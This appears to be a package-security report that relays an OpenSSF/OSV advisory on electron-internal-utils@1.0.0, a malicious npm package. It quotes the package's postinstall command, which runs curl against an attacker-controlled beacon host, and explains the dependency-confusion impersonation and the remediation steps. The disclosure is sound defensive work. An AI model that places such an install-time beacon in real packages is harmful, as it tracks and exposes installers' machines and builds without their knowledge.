electron-internal-utils
This report shows the evidence for electron-internal-utils@1.0.0, the only known version.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-6186 confirms this npm version as malicious.
Advisory
MAL-2026-6186
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in electron-internal-utils (npm)
Details
On npm install, package.json's postinstall script executes `curl http://9ph8dp.ceye.io`, an out-of-band DNS/HTTP interaction service controlled by the package author. The callback signals the attacker that the package was installed on the host and leaks the installer's public IP and DNS resolver metadata. The package ships no functionality (index.js contains only `module.exports = {};`) and its name impersonates the Electron project's internal-utilities namespace, consistent with a dependency-confusion attack against projects that reference internal Electron helpers. Any environment that runs `npm install` on this package will silently beacon to attacker-controlled infrastructure.
References
Source & flagged code
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Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to electron-internal-utils@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing electron-internal-utils@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
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Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
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